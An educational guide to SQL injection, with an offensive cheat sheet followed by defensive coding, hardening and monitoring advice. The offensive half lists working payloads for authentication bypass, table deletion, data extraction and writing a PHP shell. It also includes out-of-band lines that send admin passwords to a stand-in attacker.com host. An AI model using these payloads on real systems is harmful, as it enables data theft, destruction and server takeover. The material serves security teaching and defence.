SQL Injection (SQLi) Comprehensive Guide

What is SQL Injection?

SQL Injection is one of the most dangerous and widespread web application vulnerabilities. It arises when untrusted user input is directly embedded into SQL queries without proper sanitization, allowing attackers to modify the intended query behavior.

SQLi Impact Severity:

  • Unauthorized data access (PII, credentials, sensitive data)
  • Database modification or deletion
  • Authentication bypass
  • Remote code execution
  • Complete system compromise

Red Team Techniques (Offensive)

1. Basic Injection Testing

Common Payloads

' OR '1'='1
" OR "" = "
' OR 1=1--
'; DROP TABLE users--

Error-Based Detection

' AND 1=CONVERT(int, @@version)--
' AND 1=CONVERT(int, db_name())--

2. Union-Based Injection

Column Enumeration

ORDER BY 1-- 
ORDER BY 2--
...
ORDER BY 10--

Data Extraction

UNION SELECT 1,2,3,4--
UNION SELECT null,table_name,null FROM information_schema.tables--
UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--

3. Blind Injection

Boolean-Based

AND SUBSTRING((SELECT @@version),1,1)='M'
AND (SELECT COUNT(*) FROM users) > 10

Time-Based

MySQL: AND IF(1=1,SLEEP(5),0)
MSSQL: WAITFOR DELAY '0:0:5'
Oracle: AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)

4. Advanced Techniques

Out-of-Band (OOB)

Oracle: 
UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE username='admin'))

MSSQL: 
EXEC master..xp_dirtree '\attacker.com'+(SELECT TOP 1 password FROM users)'

Second-Order

Register with username: '; UPDATE users SET password='hacked' WHERE username='admin'--

5. Database-Specific Payloads

MySQL

SELECT LOAD_FILE('/etc/passwd')
SELECT @@datadir
INTO OUTFILE '/var/www/shell.php'

MSSQL

EXEC xp_cmdshell 'whoami'
SELECT * FROM OPENROWSET('SQLOLEDB','server';'sa';'password','SELECT 1')

Oracle

SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT password FROM users WHERE username='admin')) FROM dual

6. Tools & Automation

Discovery

  • Burp Suite Scanner
  • SQLiPy (Burp plugin)
  • Havij

Exploitation

  • sqlmap
  • NoSQLMap (for NoSQL)
  • BBQSQL (blind SQLi)

Post-Exploitation

  • PowerUpSQL (MSSQL)
  • ODAT (Oracle)
  • MySQL UDF Exploitation

Blue Team Defenses (Defensive)

1. Secure Coding

Parameterized Queries

// Python with psycopg2
cursor.execute("SELECT * FROM users WHERE email = %s", (email,))

// Java with PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
  "SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);

ORM Best Practices

# Django ORM (safe)
User.objects.raw('SELECT * FROM users WHERE username = %s', [username])

# Never do this (vulnerable)
User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'")

2. Input Validation

Whitelisting

// Only allow alphanumeric for usernames
if (!username.matches("^[a-zA-Z0-9]+$")) {
  throw new ValidationException("Invalid username");
}

Type Safety

// For numeric IDs, parse early
int id = Integer.parseInt(request.getParameter("id"));
// This will throw NumberFormatException for SQLi attempts

3. Database Hardening

Least Privilege

  • READ ONLY for reporting
  • No DROP/CREATE for app users
  • Disable xp_cmdshell in MSSQL
  • Restrict FILE privilege in MySQL

Secure Configurations

  • Disable verbose errors
  • Use stored procedures carefully
  • Enable only needed DB functions

4. Runtime Protections

WAF Rules

  • Block common SQLi patterns
  • Rate limit parameter fuzzing
  • Virtual patching for known vulns

RASP

  • Runtime Application Self-Protection
  • Blocks malicious SQL at runtime
  • Provides attack telemetry

5. Monitoring & Response

Detection Signatures

  • UNION SELECT in queries
  • Multiple OR/AND conditions
  • SLEEP/WATTFOR commands
  • Information_schema access

Log Analysis

  • SIEM integration
  • Anomaly detection
  • Query timing analysis

Incident Response

  • Query kill switches
  • Automatic session termination
  • Forensic query logging

Additional Resources & References

SQL Injection Mitigation Checklist

  • Use parameterized queries/prepared statements exclusively
  • Implement strict input validation (whitelisting preferred)
  • Apply principle of least privilege to database accounts
  • Disable verbose error messages in production
  • Regularly update database software and libraries
  • Implement WAF rules for SQLi patterns
  • Monitor for suspicious database activity
  • Conduct regular security testing and code reviews

Legal Notice

This content is provided for educational purposes only. Never test security vulnerabilities against systems without explicit permission. Unauthorized testing may violate laws.